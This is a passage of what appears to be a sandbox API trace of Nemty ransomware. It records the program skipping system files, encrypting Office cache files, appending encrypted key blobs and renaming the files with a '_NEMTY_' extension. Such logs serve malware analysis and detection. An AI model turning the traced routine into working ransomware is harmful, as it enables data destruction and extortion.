ftLastWriteTime.dwLowDateTime=0xd0714710, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0048.233] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.233] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0714710, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0714710, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0048.233] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.233] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.233] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0048.233] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2=".") returned 1 [0048.233] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="..") returned 1 [0048.233] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="...") returned 1 [0048.233] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="windows") returned -1 [0048.233] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="$RECYCLE.BIN") returned 1 [0048.233] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="rsa") returned -1 [0048.233] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="NTDETECT.COM") returned 1 [0048.233] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="ntldr") returned 1 [0048.233] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="MSDOS.SYS") returned 1 [0048.233] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="IO.SYS") returned 1 [0048.233] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="boot.ini") returned 1 [0048.233] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="boot.ini") returned 1 [0048.233] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="AUTOEXEC.BAT") returned 1 [0048.233] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="ntuser.dat") returned 1 [0048.234] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="desktop.ini") returned 1 [0048.234] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="CONFIG.SYS") returned 1 [0048.234] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="RECYCLER") returned -1 [0048.234] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="BOOTSECT.BAK") returned 1 [0048.234] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="bootmgr") returned 1 [0048.234] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="programdata") returned -1 [0048.234] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="appdata") returned 1 [0048.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OneNoteMUI.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0048.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OneNoteMUI.msi", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNoteMUI.msi", lpUsedDefaultChar=0x0) returned 14 [0048.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OneNoteMUI.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0048.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OneNoteMUI.msi", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNoteMUI.msi", lpUsedDefaultChar=0x0) returned 14 [0048.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OneNoteMUI.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0048.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OneNoteMUI.msi", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNoteMUI.msi", lpUsedDefaultChar=0x0) returned 14 [0048.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OneNoteMUI.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0048.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OneNoteMUI.msi", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNoteMUI.msi", lpUsedDefaultChar=0x0) returned 14 [0048.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94230 [0048.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0048.234] Sleep (dwMilliseconds=0x5) [0048.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd07609d0, dwHighDateTime=0x1d561e7)) [0048.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd07609d0, dwHighDateTime=0x1d561e7)) [0048.249] GetLastError () returned 0xb7 [0048.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.249] GetLastError () returned 0xb7 [0048.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.249] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.249] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.249] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.249] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="hV4gHCuLUFoM6iQ9JxteCa6tKeyxaPiWJ0u9SDYocru8dsEZ+4MlWdOH9TeOr/rk\r\nxWAwDoBTaK/k2FvtvNFyo8gLZqDS4OS+oCZ5uOoJZbvMmyitYswW2/fbUdWCVhh9\r\n7N9FKg8HhSYPRFmop/vnK6r0bD0uG3+HL0pr/V1+b5700gd3J93BJ4EpkHNTeuU+\r\nAjU831r5OaFudgGStgrpSu24eWhSCQQ29mewPp5JfVmfUhF3LKwGtBWkEGZg3Gmk\r\ncmLRU4w3uU5CBk/GRfnG3TIK9ltCTPU/PF6D4Q40ttMRos3xL0ym7fPjoTI+Phkk\r\nCrPB3ILAI8Yo1NNrkVnEsg==\r\n", pcchString=0x653ef9c) returned 1 [0048.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.250] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.250] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=2503680) returned 1 [0048.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0048.250] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.250] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0048.260] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.260] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0048.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.261] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=2503680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x263400 [0048.261] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.262] CloseHandle (hObject=0x3c8) returned 1 [0048.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0048.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.321] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi._nemty_kgobjgd_")) returned 1 [0048.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0048.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0048.322] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2=".") returned 1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="..") returned 1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="...") returned 1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="windows") returned -1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="$RECYCLE.BIN") returned 1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="rsa") returned -1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="NTDETECT.COM") returned 1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="ntldr") returned 1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="MSDOS.SYS") returned 1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="IO.SYS") returned 1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="boot.ini") returned 1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="boot.ini") returned 1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="AUTOEXEC.BAT") returned 1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="ntuser.dat") returned 1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="desktop.ini") returned 1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="CONFIG.SYS") returned 1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="RECYCLER") returned -1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="BOOTSECT.BAK") returned 1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="bootmgr") returned 1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="programdata") returned -1 [0048.322] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="appdata") returned 1 [0048.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OneNoteMUI.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0048.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OneNoteMUI.xml", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNoteMUI.xml", lpUsedDefaultChar=0x0) returned 14 [0048.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OneNoteMUI.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0048.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OneNoteMUI.xml", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNoteMUI.xml", lpUsedDefaultChar=0x0) returned 14 [0048.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OneNoteMUI.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0048.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OneNoteMUI.xml", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNoteMUI.xml", lpUsedDefaultChar=0x0) returned 14 [0048.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OneNoteMUI.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0048.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OneNoteMUI.xml", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNoteMUI.xml", lpUsedDefaultChar=0x0) returned 14 [0048.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0048.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94230 | out: hHeap=0x4f90000) returned 1 [0048.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0048.323] Sleep (dwMilliseconds=0x5) [0048.327] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd081f0b0, dwHighDateTime=0x1d561e7)) [0048.327] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd081f0b0, dwHighDateTime=0x1d561e7)) [0048.327] GetLastError () returned 0x0 [0048.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.327] GetLastError () returned 0x0 [0048.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.328] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.328] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.328] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.328] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="pN5G4KBs5nnP3Dca2eJe1KZm4eO130AvnoQLz9YerFcqIFnqmXwiY/nqCYOhhl1f\r\n6l04H8i8wNDi5TGTsHx8+oKq9D2TAWksWrhX1l6fRi8NkQEkAIpl4NBpXDzc6hfe\r\nNOEHkyMzIDkd6FasvoJByGMXJbsBQt0hmxdVDo8kqgeUDxZUD9WOZ6KPNmM9IfVu\r\n2+H9QYzzB9hCgfplQao6/vzbRGz8+8MASi0yzESq7W+rNfGI0S8s2ZhzAJuGI03c\r\nhsYD7pDU1AzVJ5kMPSE6tsf36rf+9JVG/IBicaOcBT3FOrBfiF3lNpme8l1bih09\r\nleftJTvQZupCT+U5czBMWQ==\r\n", pcchString=0x653ef9c) returned 1 [0048.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.328] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.328] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=1606) returned 1 [0048.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x640) returned 0x6343fe8 [0048.328] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.328] ReadFile (in: hFile=0x3c8, lpBuffer=0x6343fe8, nNumberOfBytesToRead=0x640, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesRead=0x653f1e4*=0x640, lpOverlapped=0x0) returned 1 [0048.330] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.330] WriteFile (in: hFile=0x3c8, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653f1dc*=0x640, lpOverlapped=0x0) returned 1 [0048.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.330] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=1606, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x646 [0048.331] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.331] CloseHandle (hObject=0x3c8) returned 1 [0048.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 